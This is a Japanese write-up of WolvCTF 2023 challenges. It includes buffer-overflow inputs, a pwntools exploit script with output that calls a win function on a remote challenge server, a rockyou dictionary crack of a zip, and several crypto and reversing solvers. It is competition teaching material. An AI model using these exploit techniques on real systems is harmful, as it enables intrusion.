この大会は2023/3/18 5:00(JST)~2023/3/20 5:00(JST)に開催されました。
今回もチームで参戦。結果は1235点で599チーム中123位でした。
自分で解けた問題をWriteupとして書いておきます。
Charlotte's Web (Beginner)
HTMLソースを見ると、コメントにこう書いてある。
<!-- /src -->
https://charlotte-tlejfksioa-ul.a.run.app/srcにアクセスする。
import flask app = flask.Flask(__name__) @app.route('/', methods=['GET']) def index(): return flask.send_file('index.html') @app.route('/src', methods=['GET']) def source(): return flask.send_file('app.py') @app.route('/super-secret-route-nobody-will-guess', methods=['PUT']) def flag(): return open('flag').read()
PUTメソッドでhttps://charlotte-tlejfksioa-ul.a.run.app/super-secret-route-nobody-will-guessにアクセスする。
$ curl -X PUT https://charlotte-tlejfksioa-ul.a.run.app/super-secret-route-nobody-will-guess wctf{y0u_h4v3_b33n_my_fr13nd___th4t_1n_1t53lf_1s_4_tr3m3nd0u5_th1ng}
wctf{y0u_h4v3_b33n_my_fr13nd___th4t_1n_1t53lf_1s_4_tr3m3nd0u5_th1ng}
baby-pwn (Beginner)
バイナリとソースコードが添付されている。ソースコードは以下のようになっている。
#include <stdio.h> #include <string.h> void print_flag(void) { printf("wctf{This_is_just_a_placeholder}\n"); } void vuln(void) { volatile int a = 0xdeadbeef; char buff[32] = { 0 }; printf("Gimme some input: "); fgets(buff, 48, stdin); if (a != 0xdeadbeef) { print_flag(); } } int main(void) { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); vuln(); return 0; }
$ checksec baby-pwn [*] '/mnt/hgfs/Shared/baby-pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
BOFでaの値を上書き、0xdeadbeefでない状態にすればよい。
$ nc baby-pwn.wolvctf.io 1337 == proof-of-work: disabled == Gimme some input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA wctf{W3lc0me_t0_C0stc0_I_L0v3_Y0u!}
wctf{W3lc0me_t0_C0stc0_I_L0v3_Y0u!}
baby-re (Beginner)
$ strings baby-re | grep wctf wctf{Oh10_Stat3_1s_Smelly!} wctf{Must_be_fr0m_OSU} wctf{A_t0tally_fake_flag}
wctf{Oh10_Stat3_1s_Smelly!}
theyseemerolling (Beginner)
暗号化処理の概要は以下の通り。
・key: ランダム8バイト文字列 ・flag: flagに b'\x00' * (4 - len(flag) % 4) をパディング ・encrypt(flag).hex()を出力 ・ct = b'' ・flagを4バイトのブロックごとに以下を実行 ・index: ブロックのインデックスの文字列化 ・index = b'\x00' * (4 - len(index)) + index ・ctにkeyと(index + flag[i:i+4])のXORを結合
フラグが"wctf"から始まることを前提とすると、先頭8バイトは以下のようになる。
\x00\x00\x00\x00wctf
このことからkeyを算出し、復号する。
#!/usr/bin/env python3 from Crypto.Util.strxor import strxor from Crypto.Util.number import bytes_to_long with open('output.txt', 'r') as f: enc = bytes.fromhex(f.read().rstrip()) pt0 = b'\x00\x00\x00\x00wctf' key = strxor(pt0, enc[:8]) flag = b'' for i in range(0, len(enc), 8): pt = strxor(enc[i:i+8], key) assert bytes_to_long(pt[:4]) == i // 8 flag += pt[4:] flag = flag.rstrip(b'\x00').decode() print(flag)
wctf{i_sw3ar_my_pr0f_s4id_r0ll_y0ur_0wn_crypt0}
cat (Beginner)
$ checksec challenge [*] '/mnt/hgfs/Shared/challenge' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
BOFでwin関数をコールできればよい。
$ gdb -q ./challenge Reading symbols from ./challenge... gdb-peda$ pattc 200 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA' gdb-peda$ r Starting program: /mnt/hgfs/Shared/challenge [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Welcome to the C Analysis Tool (cat). Enter your C code below, and it will print out which lines are dangerous! AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA Program received signal SIGSEGV, Segmentation fault. Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated. Use 'set logging enabled off'. Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated. Use 'set logging enabled on'. [----------------------------------registers----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0xc00 RDX: 0x1 RSI: 0x1 RDI: 0x7ffff7e1ba70 --> 0x0 RBP: 0x6c41415041416b41 (b'AkAAPAAl') RSP: 0x7fffffffdea8 ("AAQAAmAARAAnAAS"...) RIP: 0x40125f (<main+134>: ret) R8 : 0x7ffff7e1ba70 --> 0x0 R9 : 0x0 R10: 0x7ffff7c09c78 --> 0xf0022000043b3 R11: 0x246 R12: 0x7fffffffdfb8 --> 0x7fffffffe2fd ("/mnt/hgfs/Share"...) R13: 0x4011d9 (<main>: endbr64) R14: 0x0 R15: 0x7ffff7ffd040 --> 0x7ffff7ffe2e0 --> 0x0 [------------------------------------code-------------------------------------] Display various information of current execution context Usage: context [reg,code,stack,all] [code/stack length] 0x000000000040125f in main () at challenge.c:20 20 challenge.c: そのようなファイルやディレクトリはありません. gdb-peda$ q ctf@ctf-virtual-machine3:/mnt/hgfs/Shared$ gdb -q ./challenge Reading symbols from ./challenge... gdb-peda$ pattc 200 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA' gdb-peda$ r Starting program: /mnt/hgfs/Shared/challenge [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Welcome to the C Analysis Tool (cat). Enter your C code below, and it will print out which lines are dangerous! AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA Program received signal SIGSEGV, Segmentation fault. Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated. Use 'set logging enabled off'. Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated. Use 'set logging enabled on'. [----------------------------------registers----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0xc00 RDX: 0x1 RSI: 0x1 RDI: 0x7ffff7e1ba70 --> 0x0 RBP: 0x6c41415041416b41 (b'AkAAPAAl') RSP: 0x7fffffffdea8 ("AAQAAmAARAAnAAS"...) RIP: 0x40125f (<main+134>: ret) R8 : 0x7ffff7e1ba70 --> 0x0 R9 : 0x0 R10: 0x7ffff7c09c78 --> 0xf0022000043b3 R11: 0x246 R12: 0x7fffffffdfb8 --> 0x7fffffffe2fd ("/mnt/hgfs/Share"...) R13: 0x4011d9 (<main>: endbr64) R14: 0x0 R15: 0x7ffff7ffd040 --> 0x7ffff7ffe2e0 --> 0x0 [------------------------------------code-------------------------------------] Display various information of current execution context Usage: context [reg,code,stack,all] [code/stack length] 0x000000000040125f in main () at challenge.c:20 warning: Source file is more recent than executable. 20 } gdb-peda$ patto AAQAAmAARAAnAAS AAQAAmAARAAnAAS found at offset: 136 $ ROPgadget --binary challenge | grep ": ret" 0x000000000040101a : ret 0x0000000000401198 : retf
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('cat.wolvctf.io', 1337) else: p = process('./challenge') elf = ELF('./challenge') win_addr = elf.symbols['win'] ret_addr = 0x40101a payload = b'A' * 136 payload += p64(ret_addr) payload += p64(win_addr) data = p.recvline().rstrip().decode() print(data) data = p.recvline().rstrip().decode() print(data) print(payload) p.sendline(payload) p.interactive()
実行結果は以下の通り。
[+] Opening connection to cat.wolvctf.io on port 1337: Done [*] '/mnt/hgfs/Shared/challenge' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) == proof-of-work: disabled == Welcome to the C Analysis Tool (cat). Enter your C code below, and it will print out which lines are dangerous! b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x00\xb6\x11@\x00\x00\x00\x00\x00' [*] Switching to interactive mode $ ls challenge flag.txt $ cat flag.txt wctf{d0n+_r0ll_y0ur_0wn_c_:3}
wctf{d0n+_r0ll_y0ur_0wn_c_:3}
We Will Rock You (Beginner)
zipが添付されているが、パスワードがかかっている。クラックして、そのパスワードで解凍する。
$ fcrackzip -u -D -p dict/rockyou.txt we_will_rock_you.zip PASSWORD FOUND!!!!: pw == michigan4ever $ unzip we_will_rock_you.zip Archive: we_will_rock_you.zip creating: we_will_rock_you/ [we_will_rock_you.zip] we_will_rock_you/flag.txt password: extracting: we_will_rock_you/flag.txt $ cat we_will_rock_you/flag.txt wctf{m1cH1g4n_4_3v3R}
wctf{m1cH1g4n_4_3v3R}
yowhatsthepassword (Beginner)
Pythonのコードが添付されている。コードは以下の通り。
# I'm thinking of a number from 0 to 2^32 - 1 # Can you guess it? import random def generate(seed): random.seed(seed) c = 0 while c != ord('}'): c = random.randint(97, 126) print(chr(c), end='') print() secret = 'ly9ppw==' import base64 s = int(input("password? >>> ")) if int(base64.b64decode(secret).hex(), 16) == s: generate(s) else: print('nope')
sはsecretから算出した値。それを元にgenerate関数を実行すればフラグがわかる。
#!/usr/bin/env python3 import random import base64 def generate(seed): random.seed(seed) c = 0 while c != ord('}'): c = random.randint(97, 126) print(chr(c), end='') print() secret = 'ly9ppw==' s = int(base64.b64decode(secret).hex(), 16) generate(s)
wctf{ywtp}
Sanity Check (Misc)
Discordに入り、#rulesチャネルのトピックを見ると、フラグが書いてあった。
wctf{w3lc0m3_t0_w0lvctf_2023}
Switcharoo (Misc)
b01lers CTFの問題「switcheroo」に以下のように書かれている。
Btw, take this as a gift: d2N0ZntNNDF6M180bmRfQmx1M30K
base64文字列をデコードする。
$ echo d2N0ZntNNDF6M180bmRfQmx1M30K | base64 -d wctf{M41z3_4nd_Blu3}
wctf{M41z3_4nd_Blu3}
child-re (Reverse)
$ ./child-re What do you get if you multiply six by nine? 54 I always thought something was fundamentally wrong with the universe.
Ghidraでデコンパイルする。
undefined8 FUN_0010122f(void) { int iVar1; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined8 local_20; undefined8 local_18; undefined2 local_10; local_38 = 0; local_30 = 0; local_28 = 0; local_20 = 0; local_18 = 0; local_10 = 0; printf("What do you get if you multiply six by nine? "); fgets((char *)&local_38,0x2a,stdin); iVar1 = strcmp("54\n",(char *)&local_38); if (iVar1 == 0) { puts("I always thought something was fundamentally wrong with the universe."); } else { iVar1 = strcmp("42\n",(char *)&local_38); if (iVar1 == 0) { puts("That\'s it. That\'s all there is. (Look Elsewhere)"); } else { puts("That is not the answer to the Ultimate Question."); } } return 0; }
通常の処理に関係する関数を見たが、特に何も見つからない。他の関数を見てみる。
void FUN_00101165(byte param_1) { undefined8 local_68; undefined8 local_60; undefined8 local_58; undefined8 local_50; undefined8 local_48; undefined2 local_40; undefined local_3e; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined8 local_20; undefined8 local_18; undefined2 local_10; undefined local_e; int local_c; local_38 = 0; local_30 = 0; local_28 = 0; local_20 = 0; local_18 = 0; local_10 = 0; local_e = 0; local_68 = 0x5e1b62514c5e495d; local_60 = 0x1f5819411b424249; local_58 = 0x5e75194e1b5f6d75; local_50 = 0x1e6d7519425e751a; local_48 = 0x1e750b0b53521e46; local_40 = 0x5718; local_3e = 0; for (local_c = 0; local_c < 0x2a; local_c = local_c + 1) { *(byte *)((long)&local_38 + (long)local_c) = *(byte *)((long)&local_68 + (long)local_c) ^ param_1; } puts((char *)&local_38); return; }
この関数があやしい。param1はわからないので、local_68以降の文字列をXOR鍵のブルートフォースでフラグを復号する。
wctf{H1tchh1k3r5_Gu1d3_t0_th3_G4l4xy!!_42}
Homework Help (Reverse)
Ghidraでデコンパイルする。
undefined8 main(void) { ask(); return 0; } void ask(void) { long in_FS_OFFSET; char acStack_18 [8]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("Bro can you help me with my homework?"); puts( "What is the largest number of circles with a diameter of 0.7 that will fit completely inside a 2 x 1 rectangle without overlapping?" ); __printf_chk(1,"Answer: "); gets(acStack_18); eval(acStack_18); if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) { return; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); } int eval(char *param_1) { char *__nptr; size_t sVar1; size_t sVar2; long lVar3; int iVar4; long in_FS_OFFSET; undefined8 local_3d; undefined4 local_35; undefined local_31; long local_30; local_30 = *(long *)(in_FS_OFFSET + 0x28); local_35 = 0xa2b3938; local_31 = 0; local_3d = 0x3736353433323130; __nptr = strtok(param_1,"+"); sVar1 = strspn(param_1,(char *)&local_3d); sVar2 = strlen(param_1); if (sVar1 == sVar2) { iVar4 = 0; if (__nptr != (char *)0x0) { do { lVar3 = strtol(__nptr,(char **)0x0,10); iVar4 = iVar4 + (int)lVar3; __nptr = strtok((char *)0x0,"+"); } while (__nptr != (char *)0x0); if (iVar4 == 3) { puts("Thanks, I\'ll help you check the flag"); __printf_chk(1,"Flag: "); fgets(FLAG,0x21,stdin); goto LAB_00101546; } } puts("That really dosn\'t look right, I\'ll keep trying"); } else { iVar4 = 0; puts("Uh, the answer wouldn\'t look like that"); } LAB_00101546: if (local_30 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return iVar4; } void __stack_chk_fail(void) { int iVar1; long lVar2; uint uVar3; long in_FS_OFFSET; uint local_15c; uint auStack_158 [2]; undefined8 local_150; undefined8 local_148; undefined8 local_140; undefined8 local_138; undefined8 local_130; undefined8 local_128; undefined8 local_120; undefined8 local_118; undefined8 local_110; undefined8 local_108; undefined8 local_100; undefined8 local_f8; undefined8 local_f0; undefined8 local_e8; undefined8 local_e0; __jmp_buf_tag local_d8; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); auStack_158[1] = 0x14; local_150 = 0x1200000017; local_148 = 0x500000001d; local_140 = 0x5d00000046; local_138 = 0x4100000042; local_130 = 0x330000006c; local_128 = 0x5a0000005d; local_120 = 0x3a0000000e; local_118 = 0x410000006a; local_110 = 0x5700000040; local_108 = 0x3400000008; local_100 = 0xb0000003c; local_f8 = 0x3400000003; local_f0 = 0x4600000028; local_e8 = 0x530000005f; local_e0 = 0x5000000010; local_15c = 0x36; iVar1 = _setjmp(&local_d8); if (iVar1 == 0) { lVar2 = 0; uVar3 = 0x41; while( true ) { local_15c = local_15c ^ uVar3; if ((int)(char)FLAG[lVar2] != local_15c) { /* WARNING: Subroutine does not return */ __longjmp_chk(&local_d8,1); } lVar2 = lVar2 + 1; if (lVar2 == 0x20) break; uVar3 = auStack_158[lVar2]; } puts("Well Done."); } else { puts("Nope."); } if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) { return; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); }
local_15cの初期値は0x36で、uVar3の初期値は0x41。local_15cは以下の計算で変わっていく。
local_15c = local_15c ^ uVar3
auStack_158[1]から順にuVar3の値も変わっていく。local_15cの値を並べるとフラグになる。
#!/usr/bin/env python3 auStack_158 = [0x14, 0x17, 0x12, 0x1d, 0x50, 0x46, 0x5d, 0x42, 0x41, 0x6c, 0x33, 0x5d, 0x5a, 0x0e, 0x3a, 0x6a, 0x41, 0x40, 0x57, 0x08, 0x34, 0x3c, 0x0b, 0x03, 0x34, 0x28, 0x46, 0x5f, 0x53, 0x10, 0x50, 0x36] local_15c = 0x36 uVar3 = 0x41 flag = '' for i in range(len(auStack_158)): local_15c = local_15c ^ uVar3 flag += chr(local_15c) uVar3 = auStack_158[i] print(flag)
wctf{+m0r3_l1ke_5t4ck_chk_w1n=-}
Dino Trading (Forensics)
FTPの通信がある。Wiresharkの[オブジェクトをエクスポート] > [FTP-DATA] でepicfight.jpgをエクスポートする。
画像には何も見当たらない。
$ steghide extract -sf epicfight.jpg Enter passphrase: wrote extracted data to "hidden.txt".
パスワードなしでsteghideで秘密データを抽出できた。
$ cat hidden.txt d2N0Znthbl8xbWFnZV9pbl9hX3BlZWNhcF9iNjR9 $ cat hidden.txt | base64 -d wctf{an_1mage_in_a_peecap_b64}
wctf{an_1mage_in_a_peecap_b64}
keyexchange (Crypto)
サーバの処理概要は以下の通り。
・n: 512ビット素数 ・s: 256ビット素数 ・a: 256ビット素数 ・pow(s, a, n)を表示 ・b: 数値入力 ・secret_key = pow(pow(s, a, n), b, n) ・key: secret_key の文字列化 ・enc: flag + b'\x00' * (len(key) - len(flag))とkeyのXOR ・encの16進数表記を表示
bに1を指定すれば、keyがわかるので、XORでフラグを復号できる。
#!/usr/bin/env python3 import socket from Crypto.Util.strxor import strxor from Crypto.Util.number import * def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('keyexchange.wolvctf.io', 1337)) data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data) m = int(data) data = recvuntil(s, b'>>> ') print(data + '1') s.sendall(b'1\n') data = recvuntil(s, b'\n').rstrip() print(data) enc = bytes.fromhex(data) secret_key = m key = long_to_bytes(secret_key) flag = strxor(enc, key).rstrip(b'\x00').decode() print(flag)
実行結果は以下の通り。
== proof-of-work: disabled == 1700424891109589915635700359912272114111409488394719859908804144411503681143018699640382797948202962935549162315069782890998580367094421673641212896655057 b? >>> 1 5714f492d3da9669645a6b698d168e6e37a9cee74420a2a28ee4446f46898cdce86bf677c98691d5a2434b149201c096906171207bd9dffb3b6dd73825f8b6d1 wctf{m4th_1s_h4rd_but_tru5t_th3_pr0c3ss}
wctf{m4th_1s_h4rd_but_tru5t_th3_pr0c3ss}